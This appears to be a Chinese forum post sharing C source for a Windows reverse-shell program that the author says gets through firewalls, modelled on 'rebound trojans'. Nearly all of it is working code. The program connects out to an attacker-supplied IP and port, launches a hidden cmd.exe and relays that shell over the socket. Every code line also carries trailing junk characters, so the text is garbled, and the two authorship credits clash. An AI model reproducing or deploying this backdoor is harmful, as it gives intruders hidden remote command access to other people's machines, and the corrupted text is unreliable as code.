这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m~
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/* ============================== Q^f{H.
Rebound port in Windows NT ^5E9p@d"J
By wind,2006/7 N4+Cg t(
===============================*/ IrL%0&*hS
#include ~6i'V?>
#include g9" wX?*
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#pragma comment(lib,"wsock32.lib") Xb%Q%"?~
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void OutputShell(); !ddyJJ^a
SOCKET sClient; Q[#}Oh6$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?0t^7HMP
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void main(int argc,char **argv) rgVRF44X{
{ dHIk3j-!
WSADATA stWsaData; Q)0KYKD+@
int nRet; GmR3
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SOCKADDR_IN stSaiClient,stSaiServer; e El)wZ,A
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if(argc != 3) jvB[bS`<H
{ -SM_JR3<
printf("Useage:\n\rRebound DestIP DestPort\n"); $$m0mK
return; P5?VrZy
} > mO*.' Gm
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4tCM2it%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !4a fU:
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stSaiClient.sin_family = AF_INET; u$R5Q{H_
stSaiClient.sin_port = htons(0); E_=F'sP?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $97O7j@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .1[.f}g$J
{ '{2]:
printf("Bind Socket Failed!\n"); S#M8}+ZD,
return; {d[Nc,AMb
} g}0K@z3
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stSaiServer.sin_family = AF_INET; $"vz>SuB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d2UidDU5qa
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #s c!H4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c7r(&h
{ 06]3+s{{
printf("Connect Error!"); E'aOHSAg
return; X\Bl?
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} |s!
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OutputShell(); ^Q`5+
} qt@/
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void OutputShell() L-w3A:jk
{ lV^#[%
char szBuff[1024]; ndLEIqOY
SECURITY_ATTRIBUTES stSecurityAttributes; u&Ic
OSVERSIONINFO stOsversionInfo; p*c(dkOe8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; by>%}#M
STARTUPINFO stStartupInfo; &AJ bx
char *szShell; Y|LL]@Lv
PROCESS_INFORMATION stProcessInformation; `6VnL)
unsigned long lBytesRead; O z0-cM8t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^!S4?<v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `'s_5Ek
stSecurityAttributes.lpSecurityDescriptor = 0; sR9$=91`
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }9\_s*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O6Py
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +=J$:/&U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r[V%DU$dj
stStartupInfo.wShowWindow = SW_HIDE; &5-1Cd E
stStartupInfo.hStdInput = hReadPipe; anW['!T9{s
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~Yd[&vpQ
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GetVersionEx(&stOsversionInfo); 5.5kH$;>
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switch(stOsversionInfo.dwPlatformId) l{7}3Am6
{ hn2:@^=f
case 1: {nmu(EP
szShell = "command.com"; G{: B'08
break; -
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default: (@}^ 3jpT
szShell = "cmd.exe"; z~h?"'
break; Q (f0S
} Dh`&B
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aaU4Jl?L
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send(sClient,szMsg,77,0); :Ob4WU
while(1) o?}dHTk7
{ T@ESMPeU:X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k4$zM/ob
if(lBytesRead) q+9^rQ
{ x,^-a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9R$$(zB 1;
send(sClient,szBuff,lBytesRead,0); .eIs$
} g5|&6+t.
else HVA:|Z19
{ 7=N%$]DKZ
lBytesRead=recv(sClient,szBuff,1024,0); '|]}f }Go
if(lBytesRead<=0) break; M%_*vD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !f(A9V
} 7kV$O(4
} oA5Qk3b:
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return; Kc[^Pu
}